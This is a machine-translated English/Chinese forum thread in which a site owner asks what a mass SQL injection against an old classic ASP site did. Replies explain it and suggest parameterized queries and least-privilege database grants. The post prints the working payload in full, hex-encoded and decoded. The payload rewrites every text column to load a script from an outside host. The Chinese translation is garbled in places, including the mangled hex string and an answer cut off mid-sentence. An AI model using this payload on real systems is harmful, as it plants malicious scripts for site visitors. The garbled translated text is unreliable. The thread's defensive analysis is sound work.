有人能给我解释一下这个SQL注入攻击吗?

I wanted to post this here as it is very much coding related and was something I had to clean up this week on one of my company's old ASP (classic) sites.

我想在这里发布这篇文章，因为它与编码非常相关，而且这周我必须在我的公司的一个旧的ASP(经典)站点上进行清理。

We got hit with the SQL injection attack that was run just a few days ago, but I'm scratching my head WHAT exactly the 'damage' was to the SQL server (via these SQL queries).

我们受到了几天前运行的SQL注入攻击，但我搞不清SQL服务器究竟受到了什么“损害”(通过这些SQL查询)。

To be honest, I thought it was very ingenious the way this was carried out, and its my companies fault for having an old 10 year old site with little to no sanitized input.

老实说，我认为这是非常巧妙的方式，我的公司有一个旧的10年的网站，很少或没有消毒的输入。

The attack:

攻击:

122+declare+%40s+varchar%284000%29+set+%40s%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%40s%29-

122 +声明+ % 40 s + varchar % 284000% 29 +组+ % 40年代% 3 dcast x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e766172636861722 % 28072年c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414 c4c4f43415445205461626c655f437572736f72 + + varchar % 284000% 29% 29 + exec % 40年代% 29 - 28%

What it decodes to: (what I want to understand)

解码为:(我想了解的)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

We've recovered a backup (pre injection) and went through the entire app and sanitized all input statements. Our server is firewalled, so no direct SQL access, however I want to know what else could be left over, and I have to admit the SQL query is over my head.

我们已经恢复了一个备份(pre - injection)，并检查了整个应用程序，并对所有输入语句进行了消毒。我们的服务器是防火墙的，所以没有直接的SQL访问，但是我想知道还剩下什么，我必须承认SQL查询超出了我的能力。

Can someone take a crack at it and explain the attack SQL for me?

有人能给我解释一下SQL攻击吗?

APOLOGIES I UPDATED THE FULL DUMP & SQL

抱歉，我更新了完整的DUMP & SQL

5 个解决方案

#1

Just formatting it for readability will clarify a lot:

仅仅为了可读性而格式化它就会澄清很多:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

It goes through every text column of every table and inserts some HTML into it — HTML that contains a pointer to externally-generated JavaScript.

它遍历每个表的每个文本列，并在其中插入一些HTML——包含一个指向外部生成的JavaScript的指针的HTML。

#2

It's looping through all columns in all tables and updating their value by adding a <script> tag whose source points at a malicious JS file.

它循环遍历所有表中的所有列，并通过添加一个

The important bit is

重要的一点是

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in

I'm guessing something got omitted here and the statement probably ended with something like ('varchar', 'char', 'text') or something similar, so that it's only trying to update columns that hold text. They're hoping one of the columns hold text that's getting pulled into your website, so after they add their JS reference to it, it will be included on the source of various pages.

我猜这里省略了一些东西，语句的结尾可能是这样的('varchar'， 'char'， 'text')或类似的东西，所以它只是试图更新包含文本的列。他们希望其中一列包含要被拉进你网站的文本，所以在他们添加JS引用之后，它将被包含在各种页面的源文件中。

To fix this, you should do something similar - loop through all columns that contain text and replace the injected script with an empty string. Google will be your friend here, but here's a pretty good looking link that should be helpful setting up a script to do that.

要解决这个问题，您应该对包含文本的所有列执行类似的循环，并用空字符串替换注入的脚本。谷歌将是您在这里的朋友，但是这里有一个非常漂亮的链接，它应该有助于设置一个脚本来实现这一点。

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1 # 2

#3

Consider installing URLScan 3.1 to quickly protect your application from sql injection attempts, as well as working through your application to properly sanitize your sql statements.

考虑安装URLScan 3.1，以快速保护应用程序不受sql注入尝试的影响，并通过应用程序对sql语句进行适当的清理。

This type of sql injection attack also usually work because your database user has permissions that are too loose, e.g. DBO rights. Look to connect to your database from your application using a database user with only the necessary rights to run your application. You can create a database user, map it to your database with public rights only than run a script like the one below to apply necessary individual rights to each object you need to.

这种类型的sql注入攻击通常也有效，因为数据库用户的权限太松，例如DBO权限。使用只具有运行应用程序所需权限的数据库用户从应用程序连接到数据库。您可以创建一个数据库用户，将它映射到具有公共权限的数据库，而不必运行如下所示的脚本，以便对需要的每个对象应用必要的个*限。

DECLARE @LOGIN varchar(255)
DECLARE @DB varchar(255)

SELECT @LOGIN = 'yourdbuser'
SELECT @DB = 'yourdb'

/* set default database */
EXEC sp_defaultdb @LOGIN, @DB

/* drop system admin role */
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin'

/* drop database owner role */
EXEC sp_droprolemember 'db_owner', @LOGIN

/* grant execute on all non system stored procedures and scalar functions */
DECLARE @SP varchar(255)
DECLARE Proc_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='P' or type='FN')
AND category <> 2 -- system
OPEN Proc_Cursor
FETCH NEXT FROM Proc_Cursor INTO @SP
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT EXECUTE ON ['+@SP+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Proc_Cursor INTO @SP
END
CLOSE Proc_Cursor
DEALLOCATE Proc_Cursor

/* grant select on table functions */
DECLARE @TF varchar(255)
DECLARE Tf_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='TF')
AND category <> 2 -- system
OPEN Tf_Cursor
FETCH NEXT FROM Tf_Cursor INTO @TF
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT ON ['+@TF+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Tf_Cursor INTO @SP
END
CLOSE Tf_Cursor
DEALLOCATE Tf_Cursor

/* grant select/update/insert/delete on all user defined tables */
DECLARE @T varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='U' or type='V') -- user defined tables and views
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['+@T+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Table_Cursor INTO @T
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

/* deny access to system tables */
DENY SELECT ON syscolumns TO yourdbuser
DENY SELECT ON sysobjects TO yourdbuser

DENY VIEW DEFINITION TO yourdbuser

DENY SELECT ON sys.databases TO yourdbuser
DENY SELECT ON sys.columns TO yourdbuser
DENY SELECT ON sys.objects TO yourdbuser
DENY SELECT ON sys.sql_logins TO yourdbuser
DENY SELECT ON sys.all_columns TO yourdbuser
DENY SELECT ON sys.all_objects TO yourdbuser
DENY SELECT ON sys.all_parameters TO yourdbuser
DENY SELECT ON sys.all_views TO yourdbuser

Obviously test this against your specific application as you might have procedures that require ability to select from these sys tables.

显然，要针对特定的应用程序进行测试，因为您可能有需要从这些sys表中进行选择的过程。

#4

I think its trying to insert encoded strings to all textual columns in your database. Check this ref: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

我认为它试图向数据库中的所有文本列插入编码字符串。检查这个裁判:http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

Hope it helps in some sense

希望它在某种意义上有所帮助

#5

Look at changing your queries like this;

像这样改变您的查询;

Dim oConn, oRS, SQL
'Query open to attack
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id")

Set oConn = Server.CreateObject("ADODB.Connection")
Call oConn.Open(conn_string_from_inc)

Set oRS = oConn.Execute(SQL)    

Call oConn.Close()
Set oConn = Nothing

To something like this;

是这样的;

Dim oCmd, oRS, SQL
SQL = "SELECT * FROM [Table] WHERE [id] = ?"

Set oCmd = Server.CreateObject("ADODB.Command")
With oCmd
  .ActiveConnection = conn_string_from_inc
  .CommandType = adCmdText
  .CommandText = SQL
  Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4))
  .Parameters("@id").Value = Request.QueryString("id")
  Set oRS = .Execute()
End With
Set oCmd = Nothing

This is just a crude example of combating SQL Injection without resorting to sanitizing input. I would still approach this differently.

这只是一个不需要对输入进行消毒就能与SQL注入进行战斗的粗略例子。我还是会用不同的方法来处理这个问题。

#1